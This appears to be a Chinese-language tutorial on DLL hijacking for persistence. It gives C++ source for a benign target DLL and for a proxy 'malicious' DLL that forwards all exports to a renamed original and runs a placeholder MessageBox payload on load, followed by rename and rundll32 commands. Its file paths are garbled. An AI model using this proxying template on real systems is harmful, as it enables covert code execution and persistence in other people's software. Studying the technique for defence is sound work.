持久化-DLL劫持
原理
通过篡改、替换和代理原dll文件来达到劫持。
原理演示
假定演练流程
- 假定我们要劫持的目标是 c: emplegit.dll
- 获取 c: emplegit.dll 所有的导出功能列表
- 创建恶意DLL恶意。dll一旦被目标进程加载,就会执行有效负载
- 在恶意文件.dll中,将legit.dll(这是我们要劫持的DLL)重定向/转发所有导出的功能到legit1.dll(这是我们要劫持的DLL,只是用一个新名称)
- 复制恶意文件到c: emplegit.dll(同级目录下)
- 此时,任何在legit.dll中调用任何导出函数的程序都将执行您的恶意负载,然后将执行转移到c: emplegit1.dll中相同的导出函数。
目标
为了让实验一目了然,这里使用的c: emplegit.dll为我们自己创建
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) VOID exportedFunction1(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction1", "Hi from legit exportedFunction1", 0);
}
extern "C" __declspec(dllexport) VOID exportedFunction2(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction2", "Hi from legit exportedFunction2", 0);
}
extern "C" __declspec(dllexport) VOID exportedFunction3(int a)
{
MessageBoxA(NULL, "Hi from legit exportedFunction3", "Hi from legit exportedFunction3", 0);
}
这里我使用vs2019创建Dll动态链接库,然后把上诉代码复制到源代码中,假定编译没问题,可以在/Release文件夹下看见legit.dll
这里我们从代码中可以看出有三个导出功能函数
为了确保这是一个有效的dll,我们可以调用exportedFunction1进行验证
好了,现在让我们创建恶意Dl malicious.dlll来代理上面的导出函数。
#include "pch.h"
#pragma comment(linker, "/export:exportedFunction1=legit1.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=legit1.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=legit1.exportedFunction3")
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "Hi from malicious dll", "Hi from malicious dll", 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
dll中的关键部分是顶部的#pragma注释,它告诉链接器将exportedFunction1、exportedFunction2、exportedFunction3导出到模块legit1.dll。
另外为了直观的显示我们已经加载了恶意dll,这里会进行提示“Hi from malicious dll”,此处也能插入任意payload。
我们测试一下该dll是否正常。
上面的操作一切完成后,现在我们把两个dll放到同一目录下重命名,然后我们调用合法legit.dll.exportedFunction1,看是否会显示malicious.dll中的提示语。
1、mv legit.dll legit1.dll; mv malicious.dll legit.dll
2、rundll32.exe legit.dll,exportedFunction1